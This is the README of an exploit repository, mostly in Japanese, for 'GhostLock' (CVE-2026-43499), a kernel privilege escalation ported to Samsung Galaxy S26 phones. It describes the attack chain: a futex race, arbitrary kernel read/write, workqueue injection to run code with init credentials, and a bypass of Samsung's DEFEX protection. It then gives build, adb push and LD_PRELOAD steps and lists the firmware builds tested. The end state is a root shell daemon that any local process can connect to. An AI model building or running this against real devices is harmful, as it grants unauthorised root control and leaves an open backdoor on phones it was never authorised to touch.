
Galaxy S26向けGhostLock (CVE-2026-43499)
CVE-2026-43499 を Samsung Galaxy S26 シリーズ向けに移植 — Android 16 / GKI 6.12。 単一バイナリ・3つのカーネルライン・実行時の動的パラメータマッチングにより、ビルドごとのコンパイルを必要とせず、理論上 S26 シリーズ全体をカバーします。
大半の GhostLock 移植作業は単一デバイスまたは単一ファームウェアを対象としています。 本リポジトリは S26 ターゲット向けに全メカニズムを書き直した新規移植であり、シリーズ全体をカバーすることが期待されています。
snothin/CyberMeowfia をメンテナンスする中で、 元の pipe physrw チャネルが不安定(ネットワークを切断してしまう)であることを発見したため、 そのルートを断念して代替手段を模索しました。その後、monovibe が私が模索していた道をさらに進んでいることを知り、 そのアプローチを採用し、繰り返しデバッグを行った結果、このリポジトリが形になりました。
uid=0(root) context=u:r:kernel:s0 として実行される。抽象 unix ソケット上の su_daemon による持続的な root シェル。system_unbound_wq 上に work_struct を偽造し、その関数は call_usermodehelper_exec_work であるため、カーネルは init 資格情報でデーモンを実行する。KDP の資格情報ページに対する EL2 ガードは決してトリガーされない。pselect + futex PI race
→ one aligned qword write per round
→ attr carrier (two fake misc fds)
controller fd retargets the data pointer
data fd reads/writes any kernel address
→ slide oracle (tracefs)
→ UMH root (workqueue injection)
system_unbound_wq
ptmx open/close storm wakes a worker
kernel execs daemon with init creds
→ DEFEX bypass (bind-mount)
→ su_daemon listens on /data/local/tmp/temp_su.sock
パラメータは個別ビルドではなく カーネルライン(cn・intl・exynos の3ライン)でマッチングされます。未知の OTA ビルドは、モデルと CSC によって最も近い既知のラインにフォールバックします。完全に未知のモデルは拒否されます(フェイルクローズ)。埋め込みビルドリストは exploit/src/params_table.c を正とします。新しいデバイスまたはファームウェアへの移植に必要なパラメータについては PORTING.md を参照してください。
Android NDK(r26+)が必要です。次のように実行するだけです:
cd exploit
make preload
# produces build/bin/preload.so (exploit) and build/embed/su_daemon_aarch64_pie (embedded daemon)
preload.so、su_daemon_aarch64_pie、ksud をデバイスにプッシュします(adb shell セッション、uid 2000 から実行):
adb push exploit/build/bin/preload.so /data/local/tmp/
adb push exploit/build/embed/su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-root
adb push <ksud> /data/local/tmp/ksud
adb shell chmod 755 /data/local/tmp/cve-2026-43499-root /data/local/tmp/ksud
# Single attempt:
adb shell "env LD_PRELOAD=/data/local/tmp/preload.so sh"
このエクスプロイトは確率的(レース)であり、通常は繰り返し試行する必要があります。成功すると、su_daemon は /data/local/tmp/temp_su.sock で待ち受けし、ローカルの任意のプロセスが接続できます。
boot-claim ガード(/data/local/tmp/ghostlock-boot.log)は各ブートの実行結果を記録します。同じブート内での2回目のフルチェーン実行は拒否されます(デバイスがクラッシュする可能性があります)。ファイルを削除するか、BOOT_FORCE=1 を設定して上書きしてください。
exploit/src/kernelsnitch/ にベンダリング)このリポジトリは Apache-2.0 ライセンスの下で公開されています。全文は LICENSE、コードの来歴は NOTICE を参照してください。
| モデル | デバイスコードネーム | テスト済みビルド |
|---|
| SM-S942x (S26 Snapdragon) | m1q | S9420ZCS4AZG1, S942QOPU1AZDE, S942U1UES4AZG3, S942USQS4AZG3 |
| SM-S947x (S26+ Snapdragon) | m2q | S9470ZCS4AZG1, S947USQS4AZG3 |
| SM-S9480 (S26 Ultra CN) | m3q | S9480ZCS3AZF1, S9480ZCS4AZG1 (テスト済みビルド) |
| SM-S948x (S26 Ultra) | m3q | S9480ZHS4AZG1, S948BXXS4AZG5/6, S948NKSS4AZG3, S948U1UES2AZE1, S948USQS4AZG3 |
| SM-S942B (S26 Exynos) | m1s | S942BXXS4AZG5 |
| SM-S947B (S26+ Exynos) | m2s | S947BXXS3AZF1, S947BXXS4AZG5 |